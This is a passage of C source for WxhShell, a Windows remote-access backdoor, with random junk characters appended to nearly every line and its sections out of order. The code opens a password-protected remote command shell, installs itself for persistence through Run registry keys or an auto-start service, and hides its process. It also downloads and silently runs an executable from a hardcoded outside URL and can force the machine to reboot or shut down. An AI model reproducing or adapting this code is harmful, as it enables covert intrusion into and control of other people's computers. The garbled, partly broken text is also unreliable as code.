    ExitThread(0); \ /sF:~=  
    } t>-XT|lV  
    break; (F_7%!g1d  
    } 2O^32TdS  
  // 关机 I>8 Bc  
  case 'd': { ?/^VOj4&  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); vkh;qPD  
    if(Boot(SHUTDOWN)) $&NbLjeS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >0ssza  
    else { g;ct!f=U  
    closesocket(wsh); OC`QD5  
    ExitThread(0); Q9nu"x %  
    } ir"* iL=  
    break; =I{S;md  
    } uJ7,rq  
  // 获取shell :nTkg[49pJ  
  case 's': { )8\Z=uC  
    CmdShell(wsh); Vc{/o=1u  
    closesocket(wsh); %{c2lyw  
    ExitThread(0); N_|YOw6  
    break; EsS!07fAM:  
  } rjt O`Mt`  
  // 退出 Y}*Ctdrl  
  case 'x': { x%ZiE5#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); pq@$&G  
    CloseIt(wsh); UYl JO{|a  
    break; {=UKTk/t8  
    } @)+i{Niuv  
  // 离开 C3^X1F0  
  case 'q': { fdvi}SS8  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); L'zdsa}Et  
    closesocket(wsh); 7?)m(CFy  
    WSACleanup(); aj% `x4e A  
    exit(1); '[0 3L9  
    break; %Tk}sfx  
        } I*%&)Hj~  
  } gDgP;i d  
  } CA'hvXb.  
&xF4p,7  
  // 提示信息 }P7xdQ6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +*]SP@|IYI  
} R?i-"JhW  
  } bkJn}Al;  
=r=^bNO  
  return; hnlU,p&y3  
} D}3cW2!9  
wpJ^}+kF  
// shell模块句柄 9LUP{(uq  
int CmdShell(SOCKET sock) +G>aj '\M|  
{ v #zfs'  
STARTUPINFO si; p=je"{  
ZeroMemory(&si,sizeof(si)); ?d,acm  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =W97|BIW,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; t(Cq(.u`:  
PROCESS_INFORMATION ProcessInfo; \v B9fA:*  
char cmdline[]="cmd"; \["1N-q b  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); fte!Ll'  
  return 0; \L&qfMjW"Z  
} ZfF`kD\  
WcQZFtW  
// 自身启动模式 #<^/yoH7C6  
int StartFromService(void) uugzIV)  
{ M}{n6T6B  
typedef struct 4?* `:  
{ t2`X!`  
  DWORD ExitStatus; xNkwTDN5  
  DWORD PebBaseAddress; u:p:*u_^I  
  DWORD AffinityMask; +U c&%Px  
  DWORD BasePriority; ,DW0A//  
  ULONG UniqueProcessId; Ji)a%j1V9  
  ULONG InheritedFromUniqueProcessId; CgaB)`.  
}   PROCESS_BASIC_INFORMATION; 6-Vl#Lyb  
Ra*k  
PROCNTQSIP NtQueryInformationProcess; INeWi=1  
4l#T_y  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Sv CK;$:  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; w2RESpi  
9 ^=t@  
  HANDLE             hProcess; gGceK^#  
  PROCESS_BASIC_INFORMATION pbi; GHJQ d&G8G  
:ok!,QN  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Z\o AE<$  
  if(NULL == hInst ) return 0; J/H#d')c  
co(fGp#!  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); r[i~4N=  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); V9);kD  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "J0Oa?  
QvT-&|  
  if (!NtQueryInformationProcess) return 0; 0*'`%W+5  
KD<; ?oN<O  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )PanJHtU  
  if(!hProcess) return 0; 8EVF<@{]  
}(hYG"5  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; HtS1N}@  
rVIb'sa  
  CloseHandle(hProcess); /s-jR]#VA  
5O4&BxQ~}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); q#':aXcv"  
if(hProcess==NULL) return 0; LU 5 `!0m  
hBs>2u|z9  
HMODULE hMod; K.sj"#D  
char procName[255]; { ?1 mY"  
unsigned long cbNeeded; CgPZvB[  
[{fF)D<tC  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); WhVmycdv  
a)yNXn8E_  
  CloseHandle(hProcess); a5Acqa  
U+3PqWB  
if(strstr(procName,"services")) return 1; // 以服务启动 _|Kv~\G!  
vVvt ]h  
  return 0; // 注册表启动 |] f"j':  
} f T+n-B  
J 6d n~nPK  
// 主模块 uk>/I l  
int StartWxhshell(LPSTR lpCmdLine) k%4A::=  
{ l%)=s~6z  
  SOCKET wsl; yvH #1F`{q  
BOOL val=TRUE; %<#$:Qb.  
  int port=0; s D8xH  
  struct sockaddr_in door; sou$qKoG01  
WRU@i;l  
  if(wscfg.ws_autoins) Install(); MjF.>4  
R4J>M@-0v  
port=atoi(lpCmdLine); 86) 3XE[ 5  
hZF&PV5H  
if(port<=0) port=wscfg.ws_port; m@ 'I|!^  
U*Q5ff7M6"  
  WSADATA data; @|*Z0bn'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; e7j]BzGvl  
L)//- k9  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   |@n{tog+-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); [HZCnO|N  
  door.sin_family = AF_INET; :Pp;{=J  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); j~0ZE -e  
  door.sin_port = htons(port); c75vAKZ2  
3YNkT"~T  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Y.hH fSp  
closesocket(wsl); U"R.!=v  
return 1; RAkFgC~  
} k:uuJ|  
NByN}e  
  if(listen(wsl,2) == INVALID_SOCKET) { g)G7 kB/<p  
closesocket(wsl); SO jDtZ  
return 1; HjY-b*B  
} 7g<`w LAH  
  Wxhshell(wsl); {XUfxNDf  
  WSACleanup(); J?=Ob?+ _  
pQ2)M8 gf  
return 0; b42pLbpe'E  
N?<@o2{  
} 8GAQVe^$-  
QvQf@o  
// 以NT服务方式启动 u5)A+.v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) y:``|*+  
{ g!|E!\p  
DWORD   status = 0; !JQ~r@j  
  DWORD   specificError = 0xfffffff; ;<GTtt# D  
_"t.1+-K  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %TggNU,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; }oxaB9r  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ";Xbr;N  
  serviceStatus.dwWin32ExitCode     = 0; 0FR%<u  
  serviceStatus.dwServiceSpecificExitCode = 0; ).`a-Pv  
  serviceStatus.dwCheckPoint       = 0; RxeRO2  
  serviceStatus.dwWaitHint       = 0; )A+j  
s^X/ Om  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  DlkKQ  
  if (hServiceStatusHandle==0) return; .aH?H]^  
8gKR<X.G  
status = GetLastError(); PY:#F|uHS`  
  if (status!=NO_ERROR) fvAV[9/-  
{ 21EUP6}8j  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; S^"e5n2  
    serviceStatus.dwCheckPoint       = 0; GSb)|mj  
    serviceStatus.dwWaitHint       = 0; r[4F?W  
    serviceStatus.dwWin32ExitCode     = status; !?M_%fNE  
    serviceStatus.dwServiceSpecificExitCode = specificError; [(UqPd$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); iOXP\:mPo  
    return; $u.T1v  
  } oK1[_ko|  
i|noYo_Ah\  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; -&$%m)wN  
  serviceStatus.dwCheckPoint       = 0; 12DdUPOi  
  serviceStatus.dwWaitHint       = 0; nMvIL2:3  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); B148wh#r  
} BW\5RIWwE5  
.W.U:C1  
// 处理NT服务事件,比如:启动、停止 67:<X(u+!  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !Jp.3,\?~  
{ #UN{ J6{  
switch(fdwControl) 2EcYO$R!  
{ +VCo=oA  
case SERVICE_CONTROL_STOP: D>^ix[:J  
  serviceStatus.dwWin32ExitCode = 0; Sqt"G6<  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3E@&wpj  
  serviceStatus.dwCheckPoint   = 0; <%f%e4 [  
  serviceStatus.dwWaitHint     = 0; fw};.M  
  { :DpK{$eCb  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qNVw+U;2P  
  } uvM8 8#  
  return; `B 0*/ml  
case SERVICE_CONTROL_PAUSE: DL!s)5!M  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; LZ]pyoi  
  break; hQx e0Pdt  
case SERVICE_CONTROL_CONTINUE: b!P;xLcb  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; J+|V[E<x  
  break; |OT%,QT|  
case SERVICE_CONTROL_INTERROGATE: ;mxT >|z  
  break; `IQC\DSl/  
}; :Lzj'Ij  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &.4a  
} qr;" K?NX  
3AL=*qq  
// 标准应用程序主函数 Q>*K/%KD  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1T?%i  
{ Wfw9cxGkf  
"G)?  E|  
// 获取操作系统版本 e(5R8ud  
OsIsNt=GetOsVer(); Bq8<FZr#!  
GetModuleFileName(NULL,ExeFile,MAX_PATH); % 7:  
bxHk0w  
  // 从命令行安装 2`eu3vA  
  if(strpbrk(lpCmdLine,"iI")) Install(); 1vd+p!n  
7NqV*  
  // 下载执行文件 eajL[W^>  
if(wscfg.ws_downexe) { =#fvdj  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) tR/ JY;jn  
  WinExec(wscfg.ws_filenam,SW_HIDE); (_<n0  
} =S +:qk  
Jev.o]|_,  
if(!OsIsNt) { R:<AR.)K  
// 如果时win9x,隐藏进程并且设置为注册表启动 M<7*\1  
HideProc(); lV="IP^7  
StartWxhshell(lpCmdLine); e]fC!>w(\  
} 1'B?f# s  
else 4"=pcHNV  
  if(StartFromService()) I2Q?7p  
  // 以服务方式启动 zwHsdB=v  
  StartServiceCtrlDispatcher(DispatchTable); g8y Zc}4  
else O$^YUHD  
  // 普通方式启动 8Qy |;T}  
  StartWxhshell(lpCmdLine); K_.x(Z(;4  
(dZ&Af  
return 0; jGPs!64f)  
} nTlrG6  
/UAj]U  
^jA^~h3(W  
PxY"{-iAM  
=========================================== z [{%.kA  
@@&;gWr;  
$6Psq=|  
i:To8kdO  
`Y9@?s Q  
D=]P9XDvb.  
" |.yRo_  
u/WkqJvw#  
#include <stdio.h> ZN/")  
#include <string.h> XZJx3!~fm  
#include <windows.h> 5@\<:Zmi  
#include <winsock2.h> dfce/QOV  
#include <winsvc.h> EY(4 <;)  
#include <urlmon.h> NKN!X/P  
Ns{4BM6j  
#pragma comment (lib, "Ws2_32.lib") 4BX*-t  
#pragma comment (lib, "urlmon.lib") aQuENsB  
gUl Z cb  
#define MAX_USER   100 // 最大客户端连接数 E.brQx#}  
#define BUF_SOCK   200 // sock buffer 0jq#,p=l;  
#define KEY_BUFF   255 // 输入 buffer Hr'#0fW  
) Lv{  
#define REBOOT     0   // 重启  `!BUd  
#define SHUTDOWN   1   // 关机 54-x 14")  
Gl(,%~F9i  
#define DEF_PORT   5000 // 监听端口 420K fVA  
pw .(6"  
#define REG_LEN     16   // 注册表键长度 QaV*}W  
#define SVC_LEN     80   // NT服务名长度 /V~(!S>  
O1PdM52  
// 从dll定义API "wc $'7M  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~j_H2+!  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); dx#N)?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $U1'n@/J  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); TzjZGs W[V  
l1msXBC  
// wxhshell配置信息 '=5N?)  
struct WSCFG { ]T1"3 [si  
  int ws_port;         // 监听端口 1Y_fX  
  char ws_passstr[REG_LEN]; // 口令 .x&>H  
  int ws_autoins;       // 安装标记, 1=yes 0=no X9>ujgK  
  char ws_regname[REG_LEN]; // 注册表键名 Fc Cxr@  
  char ws_svcname[REG_LEN]; // 服务名 1RLSeT  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1JY4E2Q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @%K 8 oYK  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0Pe.G0 #  
int ws_downexe;       // 下载执行标记, 1=yes 0=no H}X"yLog*  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" HD|5:fAqA  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :Wln$L$  
=KMck=#B  
}; 3)sqAs(  
9;jfg|x1[  
// default Wxhshell configuration Hmz[pTQ|87  
struct WSCFG wscfg={DEF_PORT, *Z(qk`e.b  
    "xuhuanlingzhe", ^gy(~u  
    1, M&L"yQA  
    "Wxhshell", ]pb3 Fm{  
    "Wxhshell", *| 'k  
            "WxhShell Service", 9%8T09I!  
    "Wrsky Windows CmdShell Service", W cnYD)  
    "Please Input Your Password: ", CwAl-o  
  1, H]-nm+  
  "http://www.wrsky.com/wxhshell.exe", DWDe5$^{  
  "Wxhshell.exe" Zn/1uWO  
    }; Q{RHW@_/  
W'[!4RQL  
// 消息定义模块 VYOO8MQI  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; y]k`}&-~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; '7$v@Tvnre  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; d7 @ N~<n  
char *msg_ws_ext="\n\rExit."; PO #FtG  
char *msg_ws_end="\n\rQuit."; FU<rE&X2:  
char *msg_ws_boot="\n\rReboot..."; }k%>%xQ.  
char *msg_ws_poff="\n\rShutdown..."; }r N"H4)  
char *msg_ws_down="\n\rSave to "; @Q'5/q+  
@{j-B IRZ0  
char *msg_ws_err="\n\rErr!"; ?r/7:  
char *msg_ws_ok="\n\rOK!"; lD(d9GVm{z  
X6PfOep  
char ExeFile[MAX_PATH]; j \SDw  
int nUser = 0; W[b/.u5z:  
HANDLE handles[MAX_USER]; 2- )Ml*  
int OsIsNt; l{ k   
'lWNU   
SERVICE_STATUS       serviceStatus; nV'B!q  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; i^=an?}/  
f,$FrI,  
// 函数声明 H_ x35|"  
int Install(void); bF3j*bpO"  
int Uninstall(void); uzsR*x%s-  
int DownloadFile(char *sURL, SOCKET wsh); s;A]GJ  
int Boot(int flag); q.*qZ\;K  
void HideProc(void); \]^|IViIQ  
int GetOsVer(void); ,y^By_1wS  
int Wxhshell(SOCKET wsl); wH<S0vl   
void TalkWithClient(void *cs); n_5g:`Y  
int CmdShell(SOCKET sock); tZ(Wh  
int StartFromService(void); /(Y\ <  
int StartWxhshell(LPSTR lpCmdLine); Bk8U\Ut  
*H;&hq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); M 3^p,[9r#  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); g?`w)O 7v  
!0cfz5t  
// 数据结构和表定义 Kl^Yq  
SERVICE_TABLE_ENTRY DispatchTable[] = s4w<X}O_  
{ Q_ $AGF  
{wscfg.ws_svcname, NTServiceMain}, hcej?W8j  
{NULL, NULL} i;)88  
}; 1r@v \#P  
\HRQSfGt  
// 自我安装 L%fWa2P'  
int Install(void) GS4!c8>  
{ lRX*\ M\`  
  char svExeFile[MAX_PATH]; , B h[jb`y  
  HKEY key; )# M*@e$k  
  strcpy(svExeFile,ExeFile); s0qA8`Yu  
2y v'DS  
// 如果是win9x系统,修改注册表设为自启动 mf^(Tq[  
if(!OsIsNt) { 0=yKE J  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3Q Zw  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $yI!YX&  
  RegCloseKey(key); ~g~z"!K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { VctAQ|h^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); DpoRR`  
  RegCloseKey(key); b:Wl B[5  
  return 0; rW&8#&  
    } >& \QLo[5  
  } V<?t( _Y  
} sq\oatMw[  
else { j^ex5A.& &  
/@Y/(+DE  
// 如果是NT以上系统,安装为系统服务 O.  V!L  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); O5LB&s   
if (schSCManager!=0) ie=tM'fb  
{ }q)o LC  
  SC_HANDLE schService = CreateService a$l/N{<.  
  ( J}nE,U2  
  schSCManager, uJ{N?  
  wscfg.ws_svcname, V2V^*9(wu@  
  wscfg.ws_svcdisp, XW%!#S&;X  
  SERVICE_ALL_ACCESS, Cj31'  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *3s4JK  
  SERVICE_AUTO_START, Y*dzoN.sW  
  SERVICE_ERROR_NORMAL, v](7c2;  
  svExeFile, hF.9\X]  
  NULL, Yhb=^)@))  
  NULL, tHJ#2X#Y.  
  NULL, <._MNHC  
  NULL, y8D'V)B  
  NULL + i!/J  
  ); d/j$_NQ&!  
  if (schService!=0) qR--lvO  
  { 7fgA)dU:K  
  CloseServiceHandle(schService); wMT?p/9Blm  
  CloseServiceHandle(schSCManager); OGzth$7A  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); F]q pDv  
  strcat(svExeFile,wscfg.ws_svcname); &zynfj#o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { U(3{6^>Gc  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); GBGGV#_q'}  
  RegCloseKey(key); ?Xx,[Z&  
  return 0; HUfH/x3zj]  
    } bYYyXM  
  } 3;u*_ ]N_  
  CloseServiceHandle(schSCManager); k"LbB#Q  
} 9axJ2J'g  
} "nf.kj:>  
k z@@/DD/9  
return 1; o2He}t2o  
} E dhT;!  
6NVf&;laQ  
// 自我卸载 {*r*+}@  
int Uninstall(void) wyMj^+ 2m  
{ -y1%c^36_J  
  HKEY key; ,q]W i#  
_O Tqm5_  
if(!OsIsNt) { &s>HiL>f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1l"A7 V  
  RegDeleteValue(key,wscfg.ws_regname); zC\ pd#  
  RegCloseKey(key); pE[ul  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \`Db|D?oy  
  RegDeleteValue(key,wscfg.ws_regname); ?a+tL'D[  
  RegCloseKey(key); &~29%Ns  
  return 0; *Sm$FMWQ  
  } FYFP 6ti  
} \H!E CTI  
} hyH"  
else { ]!E|5=q  
^z-e"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); hw:zak#j,  
if (schSCManager!=0) 559znM=  
{ -n?}L#4%8  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); hu%UEB  
  if (schService!=0) n4h@{Xg  
  { }xJ9EE*G/  
  if(DeleteService(schService)!=0) { Uvgv<OR`_  
  CloseServiceHandle(schService); 5 P9hm[  
  CloseServiceHandle(schSCManager); )2C_6eR  
  return 0; g>_lU vSE  
  } K, ae-#wgb  
  CloseServiceHandle(schService); 0zCe|s.S&  
  } "2o,XF  
  CloseServiceHandle(schSCManager); "gADHt=MIR  
} qPK3"fzH  
} _%Sorr  
C\Qor3];  
return 1; AB'q!7NR  
} RLOB  
L1D{LzlBti  
// 从指定url下载文件 //2G5F;  
int DownloadFile(char *sURL, SOCKET wsh) -x=abyD  
{ 3@kiUbq7Eu  
  HRESULT hr; ]&`_5pS  
char seps[]= "/"; H[#s&Fk2  
char *token; US A!N  
char *file; X2hV)8Sk  
char myURL[MAX_PATH]; x]&V7Y   
char myFILE[MAX_PATH]; $`W .9  
U$@p"F@P  
strcpy(myURL,sURL); )sWdN(E3  
  token=strtok(myURL,seps); oM/(&"  
  while(token!=NULL) #"&h'V  
  { 8;mn7XX  
    file=token; Fy3&Emu  
  token=strtok(NULL,seps); |#q5#@,  
  } Ml1yk)3G  
ER~m &JI  
GetCurrentDirectory(MAX_PATH,myFILE); 4J Bm|Pf(  
strcat(myFILE, "\\"); >Ip>x!wi  
strcat(myFILE, file); Qctm"g|  
  send(wsh,myFILE,strlen(myFILE),0); =|O`al  
send(wsh,"...",3,0); `X'-4/Y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !Sx }~XB<  
  if(hr==S_OK) B.vg2N  
return 0; :j)H;@[I  
else S^? @vj  
return 1; ?}\aG3_4  
|q"WJQ  
} HUiW#x%;  
vi')-1Y KM  
// 系统电源模块 w'oP{=y[  
int Boot(int flag) ) E.KB6  
{ /~)vma1<  
  HANDLE hToken; rs2G{a  
  TOKEN_PRIVILEGES tkp; +e+hIMur  
u POmi F  
  if(OsIsNt) { XP~bmh,T,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &@u;xc| v  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -fFM-gt^t  
    tkp.PrivilegeCount = 1; o6,$;-?F_  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; jE|Ju:}&  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); D[U[ D  
if(flag==REBOOT) { hG .>>  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) xjB2?:/2  
  return 0; [ &RZ&  
} ESp)%  
else { ~n9BN'@x  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) L!s/0kBg  
  return 0; ,R]hNjs-{  
} Tu2BQ4\[  
  } ]BGWJA5  
  else { 25]Mi2_  
if(flag==REBOOT) { Jy?s'tc  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) K-(k6<h  
  return 0; ,6:ya8vB  
} n=!]!'h\:  
else { flDe*F^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) #D~atgR  
  return 0; >Vz Gx(7q  
} (~}IoQp>  
} U\'.rT[#  
NKf][!bi  
return 1; 6KC.l}Y*  
} a<9gD,]P  
Q= IA|rN  
// win9x进程隐藏模块 G&$+8 r  
void HideProc(void) ]o`qI#{R~R  
{ ~&B{"d  
CKwrE]h  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &.D3f"  
  if ( hKernel != NULL ) MT9c:7}[&  
  { Qfx(+=|  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); rZ5vey  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !N:!x[5  
    FreeLibrary(hKernel); D{g6M>,\  
  } +ptVAg+  
3;( ;'5|Z  
return; ?n<b:oO  
} I:l<t*  
2Pn  
// 获取操作系统版本 Nr)v!z~y   
int GetOsVer(void) ][3H6T!ckL  
{ pwAawm  
  OSVERSIONINFO winfo; SQx%CcW9d  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); bE:oF9J?  
  GetVersionEx(&winfo); O* `v1>  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) SRs1t6&y=  
  return 1; =c>2d.^l  
  else 6p`AdDV  
  return 0; ;1PnbU b  
} _V\rs{ 5  
#T:#!MKa  
// 客户端句柄模块 6Yhd[I3  
int Wxhshell(SOCKET wsl) d#E]>:w9  
{ 5VI c  
  SOCKET wsh; {`5Sh1b  
  struct sockaddr_in client; h.CbOI%Q  
  DWORD myID; Wm>[5h%>  
@b[{.m U  
  while(nUser<MAX_USER)  x~p8Mcv  
{ Im7<\ b@  
  int nSize=sizeof(client); 'F>eieO  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?u.&BP  
  if(wsh==INVALID_SOCKET) return 1; _Kdqa%L !  
:L gFd  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 1xN6V-qk  
if(handles[nUser]==0) C-!!1-Eq?:  
  closesocket(wsh); J60XUxf  
else 5u +U^D  
  nUser++; 'q%56WAJ  
  }  pleLdGq  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); xL8r'gV@  
6UK{0\0  
  return 0; mYLqT$t.+  
} `B6~KZ  
l_tr,3_w  
// 关闭 socket \HX'^t`  
void CloseIt(SOCKET wsh) W" >[sn|  
{ LV|ZZ.d h  
closesocket(wsh); faQ}J%a  
nUser--; qgREkb0  
ExitThread(0); XFpII4 5  
} )yvI  {  
c'M#va  
// 客户端请求句柄 #x-@ >{1k&  
void TalkWithClient(void *cs)  1@Abs  
{ +vOlA#t%Z  
w#]> Nf  
  SOCKET wsh=(SOCKET)cs; /@Qg'Q#  
  char pwd[SVC_LEN]; -6lsR  
  char cmd[KEY_BUFF]; Y_m/? [:  
char chr[1]; A&EVzmj-+X  
int i,j; Cm@e^l!  
DM {r<?V  
  while (nUser < MAX_USER) { sf{rs*bgp  
Bk,:a,  
if(wscfg.ws_passstr) { U9k;)fK  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `K -j  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); AX6z4G  
  //ZeroMemory(pwd,KEY_BUFF); HKu? J  
      i=0; f Z8%Z   
  while(i<SVC_LEN) { ' >a(|  
{ FVLH:{U^  
  // 设置超时 }diB  
  fd_set FdRead; n0|oV(0FE  
  struct timeval TimeOut; \Tf[% Kt x  
  FD_ZERO(&FdRead); ~)>O=nR  
  FD_SET(wsh,&FdRead); #oBMA  
  TimeOut.tv_sec=8; DUBEh@  
  TimeOut.tv_usec=0; =eG?O7z&  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); DmDsn  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); hM}rf6B  
QTZf e<m0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *12,MO>go  
  pwd=chr[0]; %`*`HU#X  
  if(chr[0]==0xd || chr[0]==0xa) { 1Rrp#E}  
  pwd=0; P<<?7_ ??  
  break; M"QT(u+  
  } Uc oVp}vl  
  i++; kLc}a5;  
    } %eJolztKZ  
,H6*9!Dv2  
  // 如果是非法用户,关闭 socket 6z;C~_BV  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <dzfD;  
} CeL`T:]r  
F3BWi[Xh  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Ik{[BRzUgt  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @tv3\eD  
poJ7q (  
while(1) { Bw5zh1ALC;  
h)S223[  
  ZeroMemory(cmd,KEY_BUFF); XLwmXi  
IE/F =Wr  
      // 自动支持客户端 telnet标准   <ezv  
  j=0; K@uUe3  
  while(j<KEY_BUFF) { {+D 6o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E?$|`<o{|`  
  cmd[j]=chr[0]; %:61@<  
  if(chr[0]==0xa || chr[0]==0xd) { tE&@U$0>o  
  cmd[j]=0; ""AP-7  
  break; Q[g>ee  
  } S b0p?  
  j++; ,'=Tf=wq  
    } CM$q{;y  
3&H#LGoV$  
  // 下载文件 LjZvWts?  
  if(strstr(cmd,"http://")) { D@jG+k-Lm  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); TVaD',5_V%  
  if(DownloadFile(cmd,wsh)) LJ^n6 m|_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); kjCXP  
  else &)(>e}es  
